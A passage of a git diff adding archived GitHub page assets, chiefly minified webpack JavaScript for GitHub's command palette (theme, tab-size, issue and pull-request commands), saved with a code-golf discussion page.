D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var 